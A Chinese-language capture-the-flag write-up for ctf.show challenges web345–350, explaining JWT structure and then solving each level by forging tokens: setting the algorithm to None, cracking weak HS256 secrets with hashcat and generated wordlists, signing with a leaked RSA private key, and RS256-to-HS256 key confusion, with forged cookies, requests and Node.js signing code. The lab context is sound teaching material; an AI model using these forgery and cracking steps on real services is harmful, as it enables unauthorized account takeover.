web345-web350Jwt篇

知识

https://xz.aliyun.com/t/2338

jwt格式如下:

1
header.payload.signature
  • Header 通常由两部分组成:token类型和哈希算法,例如:

    1
    {"typ": "JWT", "alg": "HS256"}
  • Payload 负载,存放有效信息的地方,比如用户ID,用户名等。它也可以存放私有数据。

  • Signature 签名,是对前两部分数据签名,防止数据篡改。它由 header 和 payload 使用算法生成,例如 HMAC-SHA256。

    1
    2
    3
    4
    5
    6
    7
    8
    标准中注册的声明 (建议但不强制使用) 
    # iss: jwt签发者
    # sub: jwt所面向的用户
    # aud: 接收jwt的一方
    # exp: jwt的过期时间,这个过期时间必须要大于签发时间
    # nbf: 定义在什么时间之前,该jwt都是不可用的
    # iat: jwt的签发时间
    # jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

web345

源代码/admin

1
2
3
4
要注意使用 url 访问网页时
/admin 表示访问 admin.php 文件
/admin/ 表示访问 admin/目录下的文件,默认是 index.php
很像文件夹,所以此处应该访问 /admin/

cookie中auth:

1
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTUyOTA0NTAsImV4cCI6MTY5NTI5NzY1MCwibmJmIjoxNjk1MjkwNDUwLCJzdWIiOiJ1c2VyIiwianRpIjoiODQ1YTFjN2Q1ODY5MGQ5MGJiZWJkZjAxNWYxZWFmOTQifV0

https://jwt.io/ 直接在线解密:
image.png
alg显示没有加密,那就直接将sub中改为admin,再base64加密即可。
前部分:

1
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.WwogIHsKICAgICJpc3MiOiAiYWRtaW4iLAogICAgImlhdCI6IDE2OTUyOTExOTYsCiAgICAiZXhwIjogMTY5NTI5ODM5NiwKICAgICJuYmYiOiAxNjk1MjkxMTk2LAogICAgInN1YiI6ICJhZG1pbiIsCiAgICAianRpIjogIjk1Y2U2ZWE1ZmI1MTI0MzQxNzk5YTEwZmM5ZGM3ZTAyIgogIH0KXQ==
1
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0

如果要有等号需要去掉等号。
这个上面怎么都传不进,看了视频发现,把jwt那个直接在hackbar里面base64decode一下,修改为admin,再base64加密,访问/admin/即可了:

1
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0AW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTUyOTIxODksImV4cCI6MTY5NTI5OTM4OSwibmJmIjoxNjk1MjkyMTg5LCJzdWIiOiJhZG1pbiIsImp0aSI6ImNmOGI3YWRmYmU1YTQwZWM1MTVjM2RiZWYxN2Y3MGE3In1d

image.png

web346

解析发现算法为 HS256 ,但是可以通过将算法设定为None来绕过签名。
image.png
从上到下依次为修改算法为None, sub改为admin,然后删除签名(signature)。
注意保留jwt最后面的.

1
2
3
4
5
6
7
8
9
10
GET /admin/ HTTP/1.1
Host: 82a441b0-3aca-4ca5-a55c-6d56aa369491.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: auth=eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODgyNTA0NSwiZXhwIjoxNjk4ODMyMjQ1LCJuYmYiOjE2OTg4MjUwNDUsInN1YiI6ImFkbWluIiwianRpIjoiYjIwYmEzMzBiZDM4MDA1ZWFkNzVlOTQ5Y2U3ODJjZmEifQ.
Connection: close

ctfshow{b94918f8-a660-4eef-91d3-04e17e3f78da}

web347

这关无法使用绕过,但是它提示说密钥是一个弱口令。
编写一个纯数字字典,如果不行的话再用别的:

1
2
3
with open("dict.txt", "a+") as f:
for i in range(0, 1000000):
f.write(str(i) + '\n')

然后使用hashcat爆破一下密钥:

1
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODgyNTI4MSwiZXhwIjoxNjk4ODMyNDgxLCJuYmYiOjE2OTg4MjUyODEsInN1YiI6InVzZXIiLCJqdGkiOiIzMTYzMTM4YTNkZDFkMjljNWFmMTRlZmU5MTRlYzBmOCJ9.OAWm4kUqDv4Yc6VHgs2UcYgEw-RspCJuZdtAOv5OFh4 ./dict.txt

image.png
密码为123456,然后我们自定义一下:
但是bp这个不可以选择密码,还得用jwt.io来搞:(记得修改sub为admin)

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODgyNjQ4NywiZXhwIjoxNjk4ODMzNjg3LCJuYmYiOjE2OTg4MjY0ODcsInN1YiI6ImFkbWluIiwianRpIjoiNzc0ZjIyNzgzYTJkMzJiYzgyYjhlZDk4YzVkY2FlNDAifQ.aBkzVchQIdrXUdH6HLcEc5Jm-Nq2ve63x7LnsauRkJc

ctfshow{a3bd8f39-f138-4ec8-a59a-bad1bfeb2591}

web348

爆破,估计有字符了,那就重新再写一个字典。
示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
import itertools

# key = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[]^_`{|}~'
key = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

with open("dict_alphabet.txt", "a+") as f:
passwords = itertools.product(key, repeat=4)
for i in passwords:
f.write("".join(i))
f.write("\n")
print("generate success")
1
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODg0MTE5MCwiZXhwIjoxNjk4ODQ4MzkwLCJuYmYiOjE2OTg4NDExOTAsInN1YiI6InVzZXIiLCJqdGkiOiJkNTY2Y2I1ZWExNWI0ODRmNzc5ZTBjMDE1ZjEzNTlkMCJ9.5BTUbhRJdFTlDaVlm3Sco8YhpWnkZVAkl30ISvvXjAg dict_alphabet.txt

image.png
密码为aaab 用相同操作进行修改内容即可。
image.png
ctfshow{6e11c2c1-073f-48d8-8779-e0fae7897081}

web349

有个js页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

信息泄露。
注意这个public是不出现在路由也就是xxxx.com/private.key

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----

如何做nodejs

https://www.bilibili.com/video/BV1vU4y187HE?p=5&vd_source=9c03c9cbee12e68c0989088a5b2ff127

目标目录下运行

1
npx express-generator

image.png
替换routes/index.js下的内容
将公钥和私钥放入对应位置.
image.png
之前没下过包的需要npm install 一下对应包,比如那些require的内容。
其中fs和jwt需要申明一下变量。jwt(是jsonwebtoken)
image.png
这个最后我还是报错,用cyberchef搞得:

cyberchef

image.png
ctfshow{f7a45bf3-52c9-4bb7-87bc-ff0c2213a439}

web250

这个题也考JWT的三种常见的攻击方式之一把非对称算法 RS256 改为对称算法 HS256,用泄露的公钥签名数据,服务器尝试用公钥作为 secret 验证签名。也就是CVE-2016-5431漏洞
给定token和key检查是否valid,同时如果有callback将会调用
所以合法的token,在于签名是否合法,而并不取决于之前的签名采用什么样的算法,因为使用何种算法的信息也存在于给定的jwt中
所以只要将公钥修改为对称,然后伪造session
这里想要绕过就只能使用nodejs搭建来做了:

1
2
3
4
5
6
7
8
9
10
11
router.get('/', function(req, res, next) {
const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync(process.cwd()+'\\public.key');
// console.log(privateKey);

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

});

注意将公钥文件放在根目录下。